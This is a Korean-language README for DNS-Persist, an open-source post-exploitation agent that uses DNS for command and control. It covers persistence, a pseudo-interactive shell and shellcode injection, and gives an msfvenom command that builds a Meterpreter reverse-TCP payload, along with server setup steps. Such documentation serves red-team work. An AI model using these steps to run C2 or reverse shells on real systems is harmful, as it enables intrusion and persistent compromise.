
DNS-Persist는 DNS를 명령 및 제어에 사용하는 포스트 익스플로레이션 에이전트입니다.
DNS-Persist는 DNS를 명령 및 제어에 사용하는 사후 익스플로잇 에이전트입니다. 서버 측 코드는 Python으로 작성되었고 에이전트는 C++로 코딩되었습니다. 이는 첫 번째 버전이며, 향후 더 많은 기능과 개선 사항이 추가될 예정입니다.
0x09AL - https://twitter.com/0x09al
이 소프트웨어를 불법적인 목적으로 사용하지 마십시오.
저자는 여기에 제공된 코드의 오용에 대해 어떠한 책임도 지지 않습니다.
DNS C2에 관한 훌륭한 작업이 많지만, 저는 이 소프트웨어를 지속성(persistence) 부분에 더 초점을 맞추어 만들었습니다. 저는 C++ 전문가가 아니며, 이것이 C++로 작성한 첫 번째 '실제 프로그램'입니다. (그러므로 어색한 코드가 있을 수 있습니다.)
기능 및 개선 사항에 대한 제안은 언제든지 환영합니다.
두 가지 주요 부분이 있습니다:

이 버전에는 3가지 지속성 메커니즘만 있습니다. 나중에 더 추가될 예정입니다.
이 버전은 시스템 명령을 실행하는 데 사용할 수 있는 유사 대화형 명령 셸을 지원합니다.
이 버전은 32비트 셸코드 주입을 지원합니다. 셸코드는 동일한 프로세스의 새 스레드에서 실행되므로, 셸코드가 충돌하거나 유효하지 않으면 에이전트도 충돌합니다. 셸코드에 NULL 바이트가 없도록 하십시오.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
기본적으로 포트 53에서 DNS 서버가 시작됩니다. server.py 파일에서 이를 변경할 수 있습니다.
에이전트를 코딩하는 데 Visual Studio 2010을 사용했으므로 가져오기와 컴파일이 상당히 쉬울 것입니다.
Declarations.h 파일의 DOMAIN_NAME 변수를 도메인 이름에 맞게 변경해야 합니다.
도메인의 네임서버는 DNS-Persist IP 주소를 가리켜야 합니다.
#define DOMAIN_NAME "example.com"



